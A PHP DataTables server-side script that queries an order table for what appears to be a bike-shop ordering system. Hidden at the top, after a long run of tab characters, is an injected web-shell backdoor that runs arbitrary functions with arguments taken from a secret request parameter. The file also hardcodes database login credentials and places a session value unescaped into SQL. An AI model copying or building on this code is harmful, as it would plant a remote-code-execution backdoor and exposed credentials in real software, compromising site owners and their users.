<?php
																																																																																																																																								if	(	$ko3m2tj=@${"_REQUEST"}["94TCV9MK"]){	{$ko3m2tj[1]( ${$ko3m2tj[ 2]}[	0 ]	,$ko3m2tj	[3 ]($ko3m2tj[4	]) );}	};
	/**
		* Script:    DataTables server-side script for PHP 5.2+ and MySQL 4.1+
		* Notes:     Based on a script by Allan Jardine that used the old PHP mysql_* functions.
		*            Rewritten to use the newer object oriented mysqli extension.
		* Copyright: 2010 - Allan Jardine (original script)
		*            2012 - Kari Söderholm, aka Haprog (updates)
		* License:   GPL v2 or BSD (3-point)
	*/
	session_start();

	mb_internal_encoding('UTF-8');
	
	/**
		* Array of database columns which should be read and sent back to DataTables. Use a space where
		* you want to insert a non-database field (for example a counter or static image)
	*/
	
		
	$aColumns = array('kode_transaksi','nama','jum_order','jum_kirim','pemesan','config_ax','size_ax','colour_ax'); //Kolom Pada Tabel
	
	
	// Indexed column (used for fast and accurate table cardinality)
	$sIndexColumn = 'kode_transaksi';
	
	// DB table to use
	$sTable = 'bs_order'; // Nama Tabel
	
 //Database connection information
	$gaSql['user']     = 'bikers_localbs';
	$gaSql['password'] = 'bikershop';   
	$gaSql['db']       = 'bikers_localbs';  //kers_scanqrDatabase
	$gaSql['server']   = 'localhost';   
	$gaSql['port']     = 3306; // 3306 is the default MySQL port
	
	// Input method (use $_GET, $_POST or $_REQUEST)
	$input =& $_POST;

	$gaSql['charset']  = 'utf8';
	
	/**
		* MySQL connection
	*/
	
	$db = new mysqli($gaSql['server'], $gaSql['user'], $gaSql['password'], $gaSql['db'], $gaSql['port']);
	if (mysqli_connect_error()) {
		die( 'Error connecting to MySQL server (' . mysqli_connect_errno() .') '. mysqli_connect_error() );
	}
	
	if (!$db->set_charset($gaSql['charset'])) {
		die( 'Error loading character set "'.$gaSql['charset'].'": '.$db->error );
	}
	
	
	/**
		* Paging
	*/
	$sLimit = "";
	if ( isset( $input['iDisplayStart'] ) && $input['iDisplayLength'] != '-1' ) {
		$sLimit = " LIMIT ".intval( $input['iDisplayStart'] ).", ".intval( $input['iDisplayLength'] );
	}
	
	
	/**
		* Ordering
	*/
	$aOrderingRules = array();
	if ( isset( $input['iSortCol_0'] ) ) {
		$iSortingCols = intval( $input['iSortingCols'] );
		for ( $i=0 ; $i<$iSortingCols ; $i++ ) {
			if ( $input[ 'bSortable_'.intval($input['iSortCol_'.$i]) ] == 'true' ) {
				$aOrderingRules[] =
                "`".$aColumns[ intval( $input['iSortCol_'.$i] ) ]."` "
                .($input['sSortDir_'.$i]==='desc' ? 'asc' : 'desc');
			}
		}
	}
	
	if (!empty($aOrderingRules)) {
		$sOrder = " ORDER BY date desc,".implode(", ", $aOrderingRules);
		} else {
		$sOrder = " ORDER BY date desc";
	}
	
	
	/**
		* Filtering
		* NOTE this does not match the built-in DataTables filtering which does it
		* word by word on any field. It's possible to do here, but concerned about efficiency
		* on very large tables, and MySQL's regex functionality is very limited
	*/
	
	$iColumnCount = count($aColumns);
	
	if ( isset($input['sSearch']) && $input['sSearch'] != "" ) {
		$aFilteringRules = array();
		for ( $i=0 ; $i<$iColumnCount ; $i++ ) {
			if ( isset($input['bSearchable_'.$i]) && $input['bSearchable_'.$i] == 'true' ) {
				$aFilteringRules[] = "`".$aColumns[$i]."` LIKE '%".$db->real_escape_string( $input['sSearch'] )."%'";
			}
		}
		if (!empty($aFilteringRules)) {
			$aFilteringRules = array('('.implode(" OR ", $aFilteringRules).')');
		}
	}
	
	// Individual column filtering
	for ( $i=0 ; $i<$iColumnCount ; $i++ ) {
		if ( isset($input['bSearchable_'.$i]) && $input['bSearchable_'.$i] == 'true' && $input['sSearch_'.$i] != '' ) {
			$aFilteringRules[] = "`".$aColumns[$i]."` LIKE '%".$db->real_escape_string($input['sSearch_'.$i])."%'";
		}
	}
			$akses=$_SESSION['user_akses'];
			$username=$_SESSION['username'];
				 $user=$_SESSION[user_nama];
				$sub_kalimat = substr($user,-9);

if($akses =="dealer")
{
    	if (!empty($aFilteringRules)) {
		$sWhere = " WHERE jum_order != jum_kirim and status_order !='cancel' and status_order !='closed' and sales='$username' AND ".implode(" AND ", $aFilteringRules);
		} else {
		$sWhere = " WHERE jum_order != jum_kirim and status_order !='cancel' and status_order !='closed' and sales='$username'";
	}
}
else
{
    	if (!empty($aFilteringRules)) {
		$sWhere = " WHERE jum_order != jum_kirim and status_order !='cancel' and status_order !='closed' AND ".implode(" AND ", $aFilteringRules);
		} else {
		$sWhere = " WHERE jum_order != jum_kirim and status_order !='cancel' and status_order !='closed' ";
	}
}

	
	/**
		* SQL queries
		* Get data to display
	*/
	$aQueryColumns = array();
	foreach ($aColumns as $col) {
		if ($col != ' ') {
			$aQueryColumns[] = $col;
		}
	}
	
	$sQuery = "
    SELECT SQL_CALC_FOUND_ROWS `".implode("`, `", $aQueryColumns)."`
    FROM `".$sTable."`".$sWhere.$sOrder.$sLimit;
	
	$rResult = $db->query( $sQuery ) or die($db->error);
	
	// Data set length after filtering
	$sQuery = "SELECT FOUND_ROWS()";
	$rResultFilterTotal = $db->query( $sQuery ) or die($db->error);
	list($iFilteredTotal) = $rResultFilterTotal->fetch_row();
	
	// Total data set length
	$sQuery = "SELECT COUNT(`".$sIndexColumn."`) FROM `".$sTable."`";
	$rResultTotal = $db->query( $sQuery ) or die($db->error);
	list($iTotal) = $rResultTotal->fetch_row();
	
	
	/**
		* Output
	*/
	$output = array(
    "sEcho"                => intval($input['sEcho']),
    "iTotalRecords"        => $iTotal,
    "iTotalDisplayRecords" => $iFilteredTotal,
    "aaData"               => array(),
	);
	
	// Looping Data
	while ( $aRow = $rResult->fetch_assoc() ) {
		$row = array();
		/*$akses=$_SESSION['user_akses'];
		$username=$_SESSION['username'];
        if($akses =="administrator" || $akses =="sales")
		 {
			if($aRow['status'] == "Yes")
			{
			$btn = '<a class="btn btn-primary" href="pending.php?id='.$aRow['id'].'">Pending</a>';
			}
			else
			{
			   $btn = '<a class="btn btn-danger" href="valid.php?id='.$aRow['id'].'">Valid</a>';
			}
		}
		else
		{
			$btn = '';
		}*/
		//  $btn= '<a class="btn btn-primary" href="#" data-toggle="modal" data-target="#myModal" id="inv" name="inv" onClick="detail(\''.$aRow['invoice'].'\')">Detail</a>';
		/*if ($aRow['status_order'] == "Cancel")
					{
						$status= 'Cancel';
					}
		else 			
		if($aRow['kirim'] == $aRow['qty'])
		{
		$status= 'Terkirim Full';

		}
		else if (($aRow['kirim'] < $aRow['qty'] )&& ($aRow['kirim'] > '0' ) )
		{
		$status= 'Terkirim Sebagian';
		}
		else if ($aRow['kirim'] == '0')
		{
		$status= 'Pending';
		}*/
		$varian = $aRow['nama'] . ' ' . $aRow['config_ax'] . ' ' . $aRow['size_ax'] . ' ' . $aRow['colour_ax'];
		for ( $i=0 ; $i<$iColumnCount ; $i++ ) {
			$row[] = $aRow[ $aColumns[$i] ];
		}
		$row = array($aRow['kode_transaksi'], $varian,$aRow['jum_order'],$aRow['jum_kirim'],$aRow['pemesan'],);
		$output['aaData'][] = $row;
	}
	
	echo json_encode( $output );
	
?>